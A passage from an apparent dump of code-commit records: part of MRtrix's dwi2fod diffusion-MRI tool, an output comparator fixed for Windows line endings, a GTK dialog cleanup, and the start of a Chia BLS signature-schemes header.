[ az el ] pairs for the directions.\")\n + Argument (\"file\").type_file_in()\n\n + Option (\"lmax\",\n \"the maximum spherical harmonic order for the output FOD(s).\"\n \"For algorithms with multiple outputs, this should be \"\n \"provided as a comma-separated list of integers, one for \"\n \"each output image; for single-output algorithms, only \"\n \"a single integer should be provided. If omitted, the \"\n \"command will use the lmax of the corresponding response \"\n \"function (i.e based on its number of coefficients), \"\n \"up to a maximum of 8.\")\n + Argument (\"order\").type_sequence_int()\n\n + Option (\"mask\",\n \"only perform computation within the specified binary brain mask image.\")\n + Argument (\"image\").type_image_in();\n\nvoid usage ()\n{\n AUTHOR = \"J-Donald Tournier (jdtournier@gmail.com) and Ben Jeurissen (ben.jeurissen@uantwerpen.be)\";\n\n SYNOPSIS = \"Estimate fibre orientation distributions from diffusion data using spherical deconvolution\";\n\n DESCRIPTION\n + Math::SH::encoding_description;\n\n EXAMPLES\n + Example (\"Perform single-shell single-tissue CSD\",\n \"dwi2fod csd dwi.mif response_wm.txt wmfod.mif\",\n \"This algorithm is designed for single-shell data and only uses a single \"\n \"b-value. The response function text file provided should only contain a \"\n \"a single row, corresponding to the b-value used for CSD.\")\n\n + Example (\"Perform multi-shell multi-tissue CSD\",\n \"dwi2fod msmt_csd dwi.mif response_wm.txt wmfod.mif response_gm.txt gm.mif response_csf.txt csf.mif\",\n \"This example is the most common use case of multi-tissue CSD, estimating \"\n \"a white matter FOD, and grey matter and CSF compartments. This algorithm \"\n \"requires at least three unique b-values to estimate three tissue compartments. \"\n \"Each response function text file should have a number of rows equal to the \"\n \"number of b-values used. If only two unique b-values are available, it's also \"\n \"possible to estimate only two tissue compartments, e.g., white matter and CSF.\");\n\n REFERENCES\n + \"* If using csd algorithm:\\n\"\n \"Tournier, J.-D.; Calamante, F. & Connelly, A. \" \/\/ Internal\n \"Robust determination of the fibre orientation distribution in diffusion MRI: \"\n \"Non-negativity constrained super-resolved spherical deconvolution. \"\n \"NeuroImage, 2007, 35, 1459-1472\"\n\n + \"* If using msmt_csd algorithm:\\n\"\n \"Jeurissen, B; Tournier, J-D; Dhollander, T; Connelly, A & Sijbers, J. \" \/\/ Internal\n \"Multi-tissue constrained spherical deconvolution for improved analysis of multi-shell diffusion MRI data \"\n \"NeuroImage, 2014, 103, 411-426\"\n\n + \"Tournier, J.-D.; Calamante, F., Gadian, D.G. & Connelly, A. \" \/\/ Internal\n \"Direct estimation of the fiber orientation density function from \"\n \"diffusion-weighted MRI data using spherical deconvolution.\"\n \"NeuroImage, 2004, 23, 1176-1185\";\n\n ARGUMENTS\n + Argument (\"algorithm\", \"the algorithm to use for FOD estimation. \"\n \"(options are: \" + join(algorithms, \",\") + \")\").type_choice (algorithms)\n + Argument (\"dwi\", \"the input diffusion-weighted image\").type_image_in()\n + Argument (\"response odf\", \"pairs of input tissue response and output ODF images\").allow_multiple();\n\n OPTIONS\n + DWI::GradImportOptions()\n + DWI::ShellsOption\n + CommonOptions\n + DWI::SDeconv::CSD_options\n + DWI::SDeconv::MSMT_CSD_options\n + Stride::Options;\n}\n\n\n\nclass CSD_Processor { MEMALIGN(CSD_Processor)\n public:\n CSD_Processor (const DWI::SDeconv::CSD::Shared& shared, Image<bool>& mask) :\n sdeconv (shared),\n data (shared.dwis.size()),\n mask (mask) { }\n\n\n void operator () (Image<float>& dwi, Image<float>& fod) {\n if (!load_data (dwi)) {\n for (auto l = Loop (3) (fod); l; ++l)\n fod.value() = 0.0;\n return;\n }\n\n sdeconv.set (data);\n\n size_t n;\n for (n = 0; n < sdeconv.shared.niter; n++)\n if (sdeconv.iterate())\n break;\n\n if (sdeconv.shared.niter && n >= sdeconv.shared.niter)\n INFO (\"voxel [ \" + str (dwi.index(0)) + \" \" + str (dwi.index(1)) + \" \" + str (dwi.index(2)) +\n \" ] did not reach full convergence\");\n\n fod.row(3) = sdeconv.FOD();\n }\n\n\n private:\n DWI::SDeconv::CSD sdeconv;\n Eigen::VectorXd data;\n Image<bool> mask;\n\n\n bool load_data (Image<float>& dwi) {\n if (mask.valid()) {\n assign_pos_of (dwi, 0, 3).to (mask);\n if (!mask.value())\n return false;\n }\n\n for (size_t n = 0; n < sdeconv.shared.dwis.size(); n++) {\n dwi.index(3) = sdeconv.shared.dwis[n];\n data[n] = dwi.value();\n if (!std::isfinite (data[n]))\n return false;\n if (data[n] < 0.0)\n data[n] = 0.0;\n }\n\n return true;\n }\n\n\n};\n\n\n\n\nclass MSMT_Processor { MEMALIGN (MSMT_Processor)\n public:\n MSMT_Processor (const DWI::SDeconv::MSMT_CSD::Shared& shared, Image<bool>& mask_image,\n vector< Image<float> > odf_images, Image<float> dwi_modelled = Image<float>()) :\n sdeconv (shared),\n mask_image (mask_image),\n odf_images (odf_images),\n modelled_image (dwi_modelled),\n dwi_data (shared.grad.rows()),\n output_data (shared.problem.H.cols()) { }\n\n\n void operator() (Image<float>& dwi_image)\n {\n if (mask_image.valid()) {\n assign_pos_of (dwi_image, 0, 3).to (mask_image);\n if (!mask_image.value())\n return;\n }\n\n dwi_data = dwi_image.row(3);\n\n sdeconv (dwi_data, output_data);\n if (sdeconv.niter >= sdeconv.shared.problem.max_niter) {\n INFO (\"voxel [ \" + str (dwi_image.index(0)) + \" \" + str (dwi_image.index(1)) + \" \" + str (dwi_image.index(2)) +\n \" ] did not reach full convergence\");\n }\n\n size_t j = 0;\n for (size_t i = 0; i < odf_images.size(); ++i) {\n assign_pos_of (dwi_image, 0, 3).to (odf_images[i]);\n for (auto l = Loop(3)(odf_images[i]); l; ++l)\n odf_images[i].value() = output_data[j++];\n }\n\n if (modelled_image.valid()) {\n assign_pos_of (dwi_image, 0, 3).to (modelled_image);\n dwi_data = sdeconv.shared.problem.H * output_data;\n modelled_image.row(3) = dwi_data;\n }\n }\n\n\n private:\n DWI::SDeconv::MSMT_CSD sdeconv;\n Image<bool> mask_image;\n vector< Image<float> > odf_images;\n Image<float> modelled_image;\n Eigen::VectorXd dwi_data;\n Eigen::VectorXd output_data;\n};\n\n\n\n\n\n\n\nvoid run ()\n{\n\n auto header_in = Header::open (argument[1]);\n Header header_out (header_in);\n header_out.ndim() = 4;\n header_out.datatype() = DataType::Float32;\n header_out.datatype().set_byte_order_native();\n Stride::set_from_command_line (header_out, Stride::contiguous_along_axis (3, header_in));\n\n auto mask = Image<bool>();\n auto opt = get_options (\"mask\");\n if (opt.size()) {\n mask = Header::open (opt[0][0]).get_image<bool>();\n check_dimensions (header_in, mask, 0, 3);\n }\n\n int algorithm = argument[0];\n if (algorithm == 0) {\n\n if (argument.size() != 4)\n throw Exception (\"CSD algorithm expects a single input response function and single output FOD image\");\n\n DWI::SDeconv::CSD::Shared shared (header_in);\n shared.parse_cmdline_options();\n try {\n shared.set_response (argument[2]);\n } catch (Exception& e) {\n throw Exception (e, \"CSD algorithm expects second argument to be the input response function file\");\n }\n\n shared.init();\n\n header_out.size(3) = shared.nSH();\n DWI::stash_DW_scheme (header_out, shared.grad);\n PhaseEncoding::clear_scheme (header_out);\n auto fod = Image<float>::create (argument[3], header_out);\n\n CSD_Processor processor (shared, mask);\n auto dwi = header_in.get_image<float>().with_direct_io (3);\n ThreadedLoop (\"performing constrained spherical deconvolution\", dwi, 0, 3)\n .run (processor, dwi, fod);\n\n } else if (algorithm == 1) {\n\n if (argument.size() % 2)\n throw Exception (\"MSMT_CSD algorithm expects pairs of (input response function & output FOD image) to be provided\");\n\n DWI::SDeconv::MSMT_CSD::Shared shared (header_in);\n shared.parse_cmdline_options();\n\n const size_t num_tissues = (argument.size()-2)\/2;\n vector<std::string> response_paths;\n vector<std::string> odf_paths;\n for (size_t i = 0; i < num_tissues; ++i) {\n response_paths.push_back (argument[i*2+2]);\n odf_paths.push_back (argument[i*2+3]);\n }\n\n try {\n shared.set_responses (response_paths);\n } catch (Exception& e) {\n throw Exception (e, \"MSMT_CSD algorithm expects the first file in each argument pair to be an input response function file\");\n }\n\n shared.init();\n\n DWI::stash_DW_scheme (header_out, shared.grad);\n\n vector< Image<float> > odfs;\n for (size_t i = 0; i < num_tissues; ++i) {\n header_out.size (3) = Math::SH::NforL (shared.lmax[i]);\n odfs.push_back (Image<float> (Image<float>::create (odf_paths[i], header_out)));\n }\n\n Image<float> dwi_modelled;\n auto opt = get_options (\"predicted_signal\");\n if (opt.size())\n dwi_modelled = Image<float>::create (opt[0][0], header_in);\n\n MSMT_Processor processor (shared, mask, odfs, dwi_modelled);\n auto dwi = header_in.get_image<float>().with_direct_io (3);\n ThreadedLoop (\"performing multi-shell, multi-tissue CSD\", dwi, 0, 3)\n .run (processor, dwi);\n\n } else {\n assert (0);\n }\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <fstream>\n#include <iostream>\n#include <string>\n#include <cstring>\n\nusing namespace std;\n\nbool writeBug = false;\nbool writeFileNames = false;\n\nstring patStr;\nstring tesStr;\n\nbool isWhite(char _c)\n{\n\tif (_c == ' ' || _c == '\t' || _c == '\\n')\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\nbool readNext(ifstream &_file, string &_str)\n{\n\twhile(isWhite(_file.peek()))\n\t\t_file.get();\n\tif (_file.eof() == false)\n\t{\n\t\t_file >> _str;\n\t\treturn true;\n\t}\n\telse\n\t\treturn false;\n}\n\nint main(int _argc, char *_argv[])\n{\n\tfor (int i = 1; i < _argc; i++)\n\t{\n\t\tif (_argv[i][0] != '-')\n\t\t{\n\t\t\tif (i + 1 < _argc)\n\t\t\t{\n\t\t\t\tpatStr = string(_argv[i]);\n\t\t\t\ttesStr = string(_argv[i + 1]);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcerr << \"CMP: cmp\/default: No second output file path\" << endl;\n\t\t\t\treturn -2;\n\t\t\t}\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (strcmp(_argv[i], \"-bug\") == 0)\n\t\t\t\twriteBug = true;\n\t\t\telse if (strcmp(_argv[i], \"-fname\") == 0)\n\t\t\t\twriteFileNames = true;\n\t\t\telse\n\t\t\t{\n\t\t\t\tcerr << \"CMP: No arg called \\\"\" << _argv[i] << \"\\\" exists\" << endl;\n\t\t\t}\n\t\t}\n\t}\n\tif (writeFileNames)\n\t\tcout << patStr << \"\t\" << tesStr << endl;\n\t\t\n\tifstream pat(patStr.c_str());\n\tifstream tes(tesStr.c_str());\n\t\n\tif (pat.is_open() == false)\n\t{\n\t\tcerr << \"CMP: Can't open:\" << patStr << endl;\n\t\treturn -2;\n\t}\n\tif (tes.is_open() == false)\n\t{\n\t\tcerr << \"CMP: Can't open: \" << tesStr << endl;\n\t\treturn -2;\n\t}\n\t\n\tint strNr = 1;\n\tbool pb, tb;\n\twhile (true)\n\t{\n\t\tpb = readNext(pat, patStr);\n\t\ttb = readNext(tes, tesStr);\n\n\t\tif (pb == false && tb == false)\n\t\t\tbreak;\n\t\telse if (pb == false || tb == false)\n\t\t{\n\t\t\tif (writeBug)\n\t\t\t\tcout << (pb == false ? \"Output file is too long\" : \"Output file is too short\") << endl;\n\t\t\t\n\t\t\tpat.close();\n\t\t\ttes.close();\n\t\t\treturn -1;\n\t\t}\n\n\t\tif (patStr != tesStr)\n\t\t{\n\t\t\tif (writeBug)\n\t\t\t{\n\t\t\t\tpat.close();\n\t\t\t\ttes.close();\n\t\t\t\tcout << \"String:\" << strNr << \" Expected:\" << patStr << \" Readed:\" << tesStr << endl;\n\t\t\t}\n\t\t\treturn -1;\n\t\t}\n\t\t\n\t\tstrNr++;\n\t}\n\tpat.close();\n\ttes.close();\n\treturn 0;\n}\n<commit_msg>DOS\/Windows line ending support for cmp\/default.cpp<commit_after>#include <fstream>\n#include <iostream>\n#include <string>\n#include <cstring>\n\nusing namespace std;\n\nbool writeBug = false;\nbool writeFileNames = false;\n\nstring patStr;\nstring tesStr;\n\nbool isWhite(char _c)\n{\n\tif (_c == ' ' || _c == '\t' || _c == '\\n' || _c == '\\r')\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\nbool readNext(ifstream &_file, string &_str)\n{\n\twhile(isWhite(_file.peek()))\n\t\t_file.get();\n\tif (_file.eof() == false)\n\t{\n\t\t_file >> _str;\n\t\treturn true;\n\t}\n\telse\n\t\treturn false;\n}\n\nint main(int _argc, char *_argv[])\n{\n\tfor (int i = 1; i < _argc; i++)\n\t{\n\t\tif (_argv[i][0] != '-')\n\t\t{\n\t\t\tif (i + 1 < _argc)\n\t\t\t{\n\t\t\t\tpatStr = string(_argv[i]);\n\t\t\t\ttesStr = string(_argv[i + 1]);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcerr << \"CMP: cmp\/default: No second output file path\" << endl;\n\t\t\t\treturn -2;\n\t\t\t}\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (strcmp(_argv[i], \"-bug\") == 0)\n\t\t\t\twriteBug = true;\n\t\t\telse if (strcmp(_argv[i], \"-fname\") == 0)\n\t\t\t\twriteFileNames = true;\n\t\t\telse\n\t\t\t{\n\t\t\t\tcerr << \"CMP: No arg called \\\"\" << _argv[i] << \"\\\" exists\" << endl;\n\t\t\t}\n\t\t}\n\t}\n\tif (writeFileNames)\n\t\tcout << patStr << \"\t\" << tesStr << endl;\n\t\t\n\tifstream pat(patStr.c_str());\n\tifstream tes(tesStr.c_str());\n\t\n\tif (pat.is_open() == false)\n\t{\n\t\tcerr << \"CMP: Can't open:\" << patStr << endl;\n\t\treturn -2;\n\t}\n\tif (tes.is_open() == false)\n\t{\n\t\tcerr << \"CMP: Can't open: \" << tesStr << endl;\n\t\treturn -2;\n\t}\n\t\n\tint strNr = 1;\n\tbool pb, tb;\n\twhile (true)\n\t{\n\t\tpb = readNext(pat, patStr);\n\t\ttb = readNext(tes, tesStr);\n\n\t\tif (pb == false && tb == false)\n\t\t\tbreak;\n\t\telse if (pb == false || tb == false)\n\t\t{\n\t\t\tif (writeBug)\n\t\t\t\tcout << (pb == false ? \"Output file is too long\" : \"Output file is too short\") << endl;\n\t\t\t\n\t\t\tpat.close();\n\t\t\ttes.close();\n\t\t\treturn -1;\n\t\t}\n\n\t\tif (patStr != tesStr)\n\t\t{\n\t\t\tif (writeBug)\n\t\t\t{\n\t\t\t\tpat.close();\n\t\t\t\ttes.close();\n\t\t\t\tcout << \"String:\" << strNr << \" Expected:\" << patStr << \" Readed:\" << tesStr << endl;\n\t\t\t}\n\t\t\treturn -1;\n\t\t}\n\t\t\n\t\tstrNr++;\n\t}\n\tpat.close();\n\ttes.close();\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"dialogs.h\"\n#include <cmath>\n\nnamespace sigc {\n#ifndef SIGC_FUNCTORS_DEDUCE_RESULT_TYPE_WITH_DECLTYPE\n template <typename Functor>\n struct functor_trait<Functor, false> {\n typedef decltype (::sigc::mem_fun(std::declval<Functor&>(),\n &Functor::operator())) _intermediate;\n typedef typename _intermediate::result_type result_type;\n typedef Functor functor_type;\n };\n#else\n SIGC_FUNCTORS_DEDUCE_RESULT_TYPE_WITH_DECLTYPE\n#endif\n}\n\nDialog::Message::Message(const std::string &text): Gtk::MessageDialog(text, false, Gtk::MessageType::MESSAGE_INFO, Gtk::ButtonsType::BUTTONS_NONE, true) {\n auto g_application=g_application_get_default();\n auto gio_application=Glib::wrap(g_application, true);\n auto application=Glib::RefPtr<Gtk::Application>::cast_static(gio_application);\n set_transient_for(*application->get_active_window());\n set_position(Gtk::WindowPosition::WIN_POS_CENTER_ON_PARENT);\n \n show_now();\n \n while(g_main_context_pending(NULL))\n g_main_context_iteration(NULL, false);\n}\n\nstd::string Dialog::gtk_dialog(const boost::filesystem::path &path, const std::string &title,\n const std::vector<std::pair<std::string, Gtk::ResponseType>> &buttons,\n Gtk::FileChooserAction gtk_options) {\n Gtk::FileChooserDialog dialog(title, gtk_options);\n \n auto g_application=g_application_get_default();\n auto gio_application=Glib::wrap(g_application, true);\n auto application=Glib::RefPtr<Gtk::Application>::cast_static(gio_application);\n dialog.set_transient_for(*application->get_active_window());\n dialog.set_position(Gtk::WindowPosition::WIN_POS_CENTER_ON_PARENT);\n \n if(title==\"Save File As\")\n gtk_file_chooser_set_filename(reinterpret_cast<GtkFileChooser*>(dialog.gobj()), path.string().c_str());\n else if(!path.empty())\n gtk_file_chooser_set_current_folder(reinterpret_cast<GtkFileChooser*>(dialog.gobj()), path.string().c_str());\n else {\n boost::system::error_code ec;\n auto current_path=boost::filesystem::current_path(ec);\n if(!ec)\n gtk_file_chooser_set_current_folder(reinterpret_cast<GtkFileChooser*>(dialog.gobj()), current_path.string().c_str());\n }\n \n dialog.set_position(Gtk::WindowPosition::WIN_POS_CENTER_ON_PARENT);\n \n for (auto &button : buttons) \n dialog.add_button(button.first, button.second);\n return dialog.run() == Gtk::RESPONSE_OK ? dialog.get_filename() : \"\";\n}\n<commit_msg>Got rid of double dialog.set_position calls in dialogs.cc<commit_after>#include \"dialogs.h\"\n#include <cmath>\n\nnamespace sigc {\n#ifndef SIGC_FUNCTORS_DEDUCE_RESULT_TYPE_WITH_DECLTYPE\n template <typename Functor>\n struct functor_trait<Functor, false> {\n typedef decltype (::sigc::mem_fun(std::declval<Functor&>(),\n &Functor::operator())) _intermediate;\n typedef typename _intermediate::result_type result_type;\n typedef Functor functor_type;\n };\n#else\n SIGC_FUNCTORS_DEDUCE_RESULT_TYPE_WITH_DECLTYPE\n#endif\n}\n\nDialog::Message::Message(const std::string &text): Gtk::MessageDialog(text, false, Gtk::MessageType::MESSAGE_INFO, Gtk::ButtonsType::BUTTONS_NONE, true) {\n auto g_application=g_application_get_default();\n auto gio_application=Glib::wrap(g_application, true);\n auto application=Glib::RefPtr<Gtk::Application>::cast_static(gio_application);\n set_transient_for(*application->get_active_window());\n set_position(Gtk::WindowPosition::WIN_POS_CENTER_ON_PARENT);\n \n show_now();\n \n while(g_main_context_pending(NULL))\n g_main_context_iteration(NULL, false);\n}\n\nstd::string Dialog::gtk_dialog(const boost::filesystem::path &path, const std::string &title,\n const std::vector<std::pair<std::string, Gtk::ResponseType>> &buttons,\n Gtk::FileChooserAction gtk_options) {\n Gtk::FileChooserDialog dialog(title, gtk_options);\n \n auto g_application=g_application_get_default();\n auto gio_application=Glib::wrap(g_application, true);\n auto application=Glib::RefPtr<Gtk::Application>::cast_static(gio_application);\n dialog.set_transient_for(*application->get_active_window());\n dialog.set_position(Gtk::WindowPosition::WIN_POS_CENTER_ON_PARENT);\n \n if(title==\"Save File As\")\n gtk_file_chooser_set_filename(reinterpret_cast<GtkFileChooser*>(dialog.gobj()), path.string().c_str());\n else if(!path.empty())\n gtk_file_chooser_set_current_folder(reinterpret_cast<GtkFileChooser*>(dialog.gobj()), path.string().c_str());\n else {\n boost::system::error_code ec;\n auto current_path=boost::filesystem::current_path(ec);\n if(!ec)\n gtk_file_chooser_set_current_folder(reinterpret_cast<GtkFileChooser*>(dialog.gobj()), current_path.string().c_str());\n }\n \n for (auto &button : buttons) \n dialog.add_button(button.first, button.second);\n return dialog.run() == Gtk::RESPONSE_OK ? dialog.get_filename() : \"\";\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2020 Chia Network Inc\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in coiance with the License.\n\/\/ You may obtain a copy of the License at\n\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or iied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef SRC_BLSSCHEMES_HPP_\n#define SRC_BLSSCHEMES_HPP_\n\n#include <iostream>\n#include <vector>\n\n#include <relic_conf.h>\n\n#if defined GMP && ARITH == GMP\n#include <gmp.h>\n#endif\n\n#include \"elements.hpp\"\n#include \"privatekey.hpp\"\n\nusing std::vector;\n\n\/\/ These are all MPL schemes\nnamespace bls {\n\nclass Bytes;\n\nclass CoreMPL {\n\npublic:\n virtual ~CoreMPL() {};\n CoreMPL() = delete;\n CoreMPL(const std::string& strId) : strCiphersuiteId(strId) {}\n \/\/ Generates a private key from a seed, similar to HD key generation\n \/\/ (hashes the seed), and reduces it mod the group order\n virtual PrivateKey KeyGen(const vector<uint8_t>& seed);\n virtual PrivateKey KeyGen(const Bytes& seed);\n\n \/\/ Generates a public key from a secret key\n virtual vector<uint8_t> SkToPk(const PrivateKey &seckey);\n\n virtual G1Element SkToG1(const PrivateKey &seckey);\n\n virtual G2Element Sign(const PrivateKey &seckey, const vector<uint8_t> &message);\n virtual G2Element Sign(const PrivateKey& seckey, const Bytes& message);\n\n virtual bool Verify(const vector<uint8_t> &pubkey,\n const vector<uint8_t> &message,\n const vector<uint8_t> &signature);\n\n virtual bool Verify(const Bytes& pubkey, const Bytes& message, const Bytes& signature);\n\n virtual bool Verify(const G1Element &pubkey,\n const vector<uint8_t> &message,\n const G2Element &signature);\n\n virtual bool Verify(const G1Element& pubkey, const Bytes& message, const G2Element& signature);\n\n virtual vector<uint8_t> Aggregate(const vector<vector<uint8_t>> &signatures);\n virtual vector<uint8_t> Aggregate(const vector<Bytes>& signatures);\n\n virtual G2Element Aggregate(const vector<G2Element> &signatures);\n\n virtual G1Element Aggregate(const vector<G1Element> &publicKeys);\n\n virtual G2Element AggregateSecure(const std::vector<G1Element>& vecPublicKeys,\n const std::vector<G2Element>& vecSignatures,\n const Bytes& message);\n\n virtual bool VerifySecure(const std::vector<G1Element>& vecPublicKeys,\n const G2Element& signature,\n const Bytes& message);\n\n virtual bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature);\n\n virtual bool AggregateVerify(const vector<Bytes>& pubkeys,\n const vector<Bytes>& messages,\n const Bytes& signature);\n\n virtual bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature);\n\n virtual bool AggregateVerify(const vector<G1Element>& pubkeys,\n const vector<Bytes>& messages,\n const G2Element& signature);\n\n PrivateKey DeriveChildSk(const PrivateKey& sk, uint32_t index);\n PrivateKey DeriveChildSkUnhardened(const PrivateKey& sk, uint32_t index);\n G1Element DeriveChildPkUnhardened(const G1Element& sk, uint32_t index);\n\nprotected:\n const std::string& strCiphersuiteId;\n bool NativeVerify(g1_t *pubKeys, g2_t *mappedHashes, size_t length);\n G2Element AggregateSecure(std::vector<G1Element> const &vecPublicKeys,\n std::vector<G2Element> const &vecSignatures,\n const Bytes& message,\n bool fLegacy);\n bool VerifySecure(const std::vector<G1Element>& vecPublicKeys,\n const G2Element& signature,\n const Bytes& message,\n bool fLegacy);\n};\n\nclass BasicSchemeMPL : public CoreMPL {\npublic:\n virtual ~BasicSchemeMPL() {};\n static const std::string CIPHERSUITE_ID;\n BasicSchemeMPL() : CoreMPL(BasicSchemeMPL::CIPHERSUITE_ID) {}\n bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature) override;\n\n bool AggregateVerify(const vector<Bytes>& pubkeys,\n const vector<Bytes>& messages,\n const Bytes& signature) override;\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature) override;\n\n bool AggregateVerify(const vector<G1Element>& pubkeys,\n const vector<Bytes>& messages,\n const G2Element& signature) override;\n};\n\nclass AugSchemeMPL : public CoreMPL {\n\npublic:\n virtual ~AugSchemeMPL() {};\n static const std::string CIPHERSUITE_ID;\n AugSchemeMPL() : CoreMPL(AugSchemeMPL::CIPHERSUITE_ID) {}\n\n G2Element Sign(const PrivateKey &seckey, const vector<uint8_t> &message) override;\n\n G2Element Sign(const PrivateKey& seckey, const Bytes& message) override;\n\n \/\/ Used for prepending different augMessage\n G2Element Sign(const PrivateKey &seckey,\n const vector<uint8_t> &message,\n const G1Element &prepend_pk);\n\n \/\/ Used for prepending different augMessage\n G2Element Sign(const PrivateKey& seckey,\n const Bytes& message,\n const G1Element& prepend_pk);\n\n bool Verify(const vector<uint8_t> &pubkey,\n const vector<uint8_t> &message,\n const vector<uint8_t> &signature) override;\n\n bool Verify(const Bytes& pubkey,\n const Bytes& message,\n const Bytes& signature) override;\n\n bool Verify(const G1Element &pubkey,\n const vector<uint8_t> &message,\n const G2Element &signature) override;\n\n bool Verify(const G1Element& pubkey,\n const Bytes& message,\n const G2Element& signature) override;\n\n bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature) override;\n\n bool AggregateVerify(const vector<Bytes>& pubkeys,\n const vector<Bytes>& messages,\n const Bytes& signature) override;\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature) override;\n\n bool AggregateVerify(const vector<G1Element>& pubkeys,\n const vector<Bytes>& messages,\n const G2Element& signature) override;\n};\n\nclass PopSchemeMPL : public CoreMPL {\n\npublic:\n virtual ~PopSchemeMPL() {};\n static const std::string CIPHERSUITE_ID;\n static const std::string POP_CIPHERSUITE_ID;\n PopSchemeMPL() : CoreMPL(PopSchemeMPL::CIPHERSUITE_ID) {}\n\n G2Element PopProve(const PrivateKey &seckey);\n\n bool PopVerify(const G1Element &pubkey, const G2Element &signature_proof);\n\n bool PopVerify(const vector<uint8_t> &pubkey, const vector<uint8_t> &proof);\n\n bool PopVerify(const Bytes& pubkey, const Bytes& proof);\n\n bool FastAggregateVerify(const vector<G1Element> &pubkeys,\n const vector<uint8_t> &message,\n const G2Element &signature);\n\n bool FastAggregateVerify(const vector<G1Element>& pubkeys,\n const Bytes& message,\n const G2Element& signature);\n\n bool FastAggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<uint8_t> &message,\n const vector<uint8_t> &signature);\n\n bool FastAggregateVerify(const vector<Bytes>& pubkeys,\n const Bytes& message,\n const Bytes& signature);\n};\n\n\/**\n * This scheme reflects the Sign\/Verify behaviour of older bls-signatures library versions (<0.1.29).\n *\/\nclass LegacySchemeMPL : public CoreMPL {\n\npublic:\n virtual ~LegacySchemeMPL() {};\n LegacySchemeMPL() : CoreMPL(std::string{}) {}\n\n virtual vector<uint8_t> SkToPk(const PrivateKey &seckey) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n G2Element Sign(const PrivateKey &seckey, const vector<uint8_t> &message) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n G2Element Sign(const PrivateKey &seckey, const Bytes& message) final;\n\n bool Verify(const vector<uint8_t>& pubkey,\n const vector<uint8_t>& message,\n const vector<uint8_t>& signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool Verify(const G1Element& pubkey,\n const vector<uint8_t>& message,\n const G2Element& signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool Verify(const Bytes& pubkey, const Bytes& message, const Bytes& signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n bool Verify(const G1Element &pubkey, const Bytes& message, const G2Element &signature) final;\n\n vector<uint8_t> Aggregate(const vector<vector<uint8_t>> &signatures) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n G2Element AggregateSecure(const std::vector<G1Element>& vecPublicKeys,\n const std::vector<G2Element>& vecSignatures,\n const Bytes& message) final;\n\n bool VerifySecure(const std::vector<G1Element>& vecPublicKeys,\n const G2Element& signature,\n const Bytes& message) final;\n\n bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool AggregateVerify(const vector<Bytes> &pubkeys,\n const vector<Bytes> &messages,\n const Bytes &signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<Bytes> &messages,\n const G2Element &signature) final;\n};\n} \/\/ end namespace bls\n\n#endif \/\/ SRC_BLSSCHEMES_HPP_\n<commit_msg>Update schemes.hpp<commit_after>\/\/ Copyright 2020 Chia Network Inc\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in coiance with the License.\n\/\/ You may obtain a copy of the License at\n\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or iied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef SRC_BLSSCHEMES_HPP_\n#define SRC_BLSSCHEMES_HPP_\n\n#include <iostream>\n#include <vector>\n\n#include <relic_conf.h>\n\n#if defined GMP && ARITH == GMP\n#include <gmp.h>\n#endif\n\n#include \"elements.hpp\"\n#include \"privatekey.hpp\"\n\nusing std::vector;\n\n\/\/ These are all MPL schemes\nnamespace bls {\n\nclass Bytes;\n\nclass CoreMPL {\n\npublic:\n virtual ~CoreMPL() {};\n CoreMPL() = delete;\n CoreMPL(const std::string& strId) : strCiphersuiteId(strId) {}\n \/\/ Generates a private key from a seed, similar to HD key generation\n \/\/ (hashes the seed), and reduces it mod the group order\n virtual PrivateKey KeyGen(const vector<uint8_t>& seed);\n virtual 